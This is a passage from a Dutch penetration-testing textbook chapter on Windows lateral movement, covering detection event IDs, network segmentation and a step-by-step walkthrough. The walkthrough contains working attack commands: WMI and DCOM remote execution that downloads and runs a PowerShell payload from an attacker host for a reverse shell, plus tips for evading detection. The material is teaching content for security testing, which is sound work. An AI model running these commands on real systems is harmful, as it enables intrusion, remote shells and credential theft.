Waarom niet? Omdat “Remote Desktop moet blijven werken” en “ik moet PowerShell Remoting kunnen gebruiken naar die machine” en “SCCM heeft SMB nodig.” En in plaats van uitzonderingen te maken voor specifieke beheersystemen, laten ze alles open voor iedereen. Het is het digitale equivalent van het verwijderen van alle deuren uit je huis omdat je moeder er af en toe langskomt.

Detectie-architectuur in de praktijk

Een complete detectie-setup voor laterale beweging ziet er als volgt uit:

Laag 1: Sysmon op elk endpoint
├── Event ID 1: Process Creation (command line logging)
├── Event ID 3: Network Connection (outbound naar ongewone poorten)
├── Event ID 10: Process Access (LSASS access)
├── Event ID 11: File Creation (bestanden in C:\Windows\tasks, ADMIN$)
└── Event ID 13: Registry Modification

Laag 2: Windows Security Event Log
├── Event ID 4624: Logon (Type 3 = Network, Type 10 = RemoteInteractive)
├── Event ID 4648: Explicit Credential Logon
├── Event ID 4697/7045: Service Installation
├── Event ID 5140: Network Share Access
└── Event ID 4103/4104: PowerShell Logging

Laag 3: Netwerk monitoring
├── Unusual SMB traffic patterns (werkstation → werkstation)
├── RPC traffic naar ongewone bestemmingen
├── WinRM traffic van niet-beheersystemen
└── SSH traffic waar het niet verwacht wordt

De gouden regel: werkstation-naar-werkstation verkeer op poorten 135, 445, 5985, of 5986 is bijna altijd verdacht. Werkstations hoeven niet met elkaar te praten via deze protocollen. Als je dat ziet, is het ofwel een misconfiguratie, ofwel een aanvaller.

9.11 Het platte netwerk – De ongemakkelijke waarheid

Laat me even een verhaal vertellen. Ik was ooit bij een organisatie – laten we ze “Bedrijf X” noemen, want dat doen we altijd – die trots waren op hun nieuwe firewall. Tweehonderdduizend euro. Next-generation. AI-powered threat detection. Het hele circus.

Intern was hun netwerk zo plat als een pannenkoek. Elke machine kon met elke andere machine praten. De receptie-PC kon pingen naar de domain controller. De printer stond in hetzelfde VLAN als de salarisserver. De gastenwifi zat op hetzelfde netwerk als de productieomgeving.

Toen ik vroeg waarom, zei de IT-manager: “Segmentatie is complex en we willen geen tickets over connectiviteitsproblemen.”

Laat dat even bezinken. Ze wilden geen tickets over connectiviteitsproblemen. Dus in plaats daarvan hadden ze een netwerk waar een aanvaller vanaf elke willekeurige machine naar elke andere machine kon bewegen. Het is alsof je een huis bouwt zonder binnenmuren omdat “deuren zo lastig zijn.”

Tweehonderdduizend euro aan firewall. Nul euro aan interne segmentatie. En als ik het rapport presenteerde met laterale beweging van de receptie-PC naar de domain controller in vier stappen, keken ze me aan alsof ik het probleem was.

Dat is het ding met beveiliging: mensen kopen de glimmende spullen en vergeten de basis. Ze kopen een race-auto en vergeten er deuren in te zetten.

9.12 Praktische walkthrough – Van werkstation naar server

Laten we een realistisch scenario doorlopen. Je hebt een werkstation gecompromitteerd via phishing. De gebruiker is corp\jdejong en je hebt haar wachtwoord.

Stap 1: Verkenning

# Welke machines zijn er in het netwerk?
Get-ADComputer -Filter * | Select-Object Name, DNSHostName

# Waar heeft jdejong admin-rechten?
Find-LocalAdminAccess -Verbose

# Welke sessies zijn er actief?
Invoke-UserHunter -Verbose

Stap 2: Kies je methode

Stel dat jdejong lokale admin is op WS02. WinRM staat open (poort 5985). Dan is PS Remoting de logische keuze:

$cred = New-Object System.Management.Automation.PSCredential(
    'CORP\jdejong',
    (ConvertTo-SecureString 'Welkom123!' -AsPlainText -Force)
)
Enter-PSSession -ComputerName WS02 -Credential $cred

Stap 3: Op het nieuwe systeem

[WS02]: PS> whoami
corp\jdejong

[WS02]: PS> hostname
WS02

[WS02]: PS> # Kijk welke tokens beschikbaar zijn
[WS02]: PS> Get-Process -IncludeUserName | Select-Object UserName -Unique

UserName
--------
CORP\jdejong
CORP\admin.vanderberg
NT AUTHORITY\SYSTEM

Daar is een admin-account. admin.vanderberg heeft een sessie op WS02. Nu gaan we die credentials stelen – maar dat is hoofdstuk 10.

Stap 4: Verder bewegen

Met de gestolen credentials van admin.vanderberg kun je naar de domain controller. Maar je wilt stiller zijn. Geen PsExec. Geen services. WMI:

Invoke-WmiMethod -Class Win32_Process -Name Create `
  -ArgumentList 'powershell -ep bypass -c IEX(New-Object Net.WebClient).DownloadString(''http://10.0.0.1/payloads/amsi-shell.ps1'')' `
  -ComputerName DC01 `
  -Credential $admin_cred

En nu wacht je tot je beacon terugkomt op je listener.

Alternatief scenario: Via DCOM als WinRM niet beschikbaar is

Stel dat WinRM niet open staat op WS02, maar poort 135 wel. Dan gebruik je DCOM:

# MMC20.Application DCOM lateral movement
$com = [activator]::CreateInstance(
    [type]::GetTypeFromProgID('MMC20.Application','WS02')
)
$com.Document.ActiveView.ExecuteShellCommand(
    'powershell',
    $null,
    '-ep bypass -c IEX(New-Object Net.WebClient).DownloadString(''http://10.0.0.1/payloads/amsi-shell.ps1'')',
    '7'
)

Je krijgt geen interactieve shell, maar als je listener draait, krijg je een reverse shell terug. Stiller dan PsExec, minder logs, en geen service-installatie.

De credential chain visualiseren

Machine     Account             Methode              Privilege
─────────── ─────────────────── ──────────────────── ──────────
WS01        jdejong             (phishing)           Local Admin
  ↓
WS02        jdejong → admin.vdb PS Remoting (5985)   Local Admin
  ↓
SRV01       admin.vanderberg    WMI (135)            Server Admin
  ↓
DC01        admin.vanderberg    Evil-WinRM (5985)    Domain Admin

Elke sprong in deze keten is een lateral movement. En elke sprong vereist credentials die op de vorige machine zijn gevonden. Het is een ketting, en de zwakste schakel bepaalt of de hele ketting breekt.

Veelgemaakte fouten bij lateral movement

Om dit hoofdstuk af te sluiten, hier de meest voorkomende fouten die ik pentesters zie maken:

1. Direct PsExec gebruiken: Het werkt, maar het is luid. Probeer eerst WMI of DCOM.
2. Vergeten op te ruimen: Achtergelaten services, bestanden in C:\Windows\tasks, SMB-shares. Forensisch bewijs dat je aanwezigheid verraadt.
3. Geen listener klaar: Je vuurt een DCOM-commando af en realiseert je dat je geen listener hebt draaien. Je command execution is verspild.
4. Tunneling vergeten: Je kunt de target niet direct bereiken vanuit je Kali-machine. Je moet eerst een tunnel opzetten (hoofdstuk 13).
5. Verkeerde credentials: Je gebruikt credentials van machine A op machine B, maar het account heeft daar geen admin-rechten. Nu heb je een failed logon event gegenereerd dat een SOC-analyst kan oppikken.
6. Tijdzones negeren: Als je om 03:00 ’s nachts laterale beweging uitvoert in een organisatie die van 09:00-17:00 werkt, valt dat op. Werk binnen kantooruren als je stealthy wilt zijn.

9.13 Referentietabel

Externe tools referentie

Event IDs snelreferentie

9.14 Samenvatting

Laterale beweging is waar een pentest echt begint. Het is het moment waarop je van “ik heb een voet tussen de deur” gaat naar “ik bezit het netwerk.” De technieken zijn gevarieerd – van het stille WMI en DCOM tot het luidruchtige PsExec – maar ze hebben allemaal één ding gemeen: ze vereisten lokale admin-rechten en ongesegmenteerde netwerken.

De verdediging is even simpel als onpopulair: segmenteer je netwerk, beperk admin-rechten, gebruik Credential Guard en LAPS, en monitor wat er binnen je netwerk gebeurt. Maar dat vereist geld, tijd, en de bereidheid om “nee” te zeggen tegen gebruikers die klagen over connectiviteitsproblemen.

In het volgende hoofdstuk gaan we kijken naar wat je steelt als je eenmaal op een machine staat. Want laterale beweging zonder credentials is als een auto zonder benzine: je kunt erin zitten, maar je gaat nergens naartoe.

Volgende: Hoofdstuk 10 – Credential Access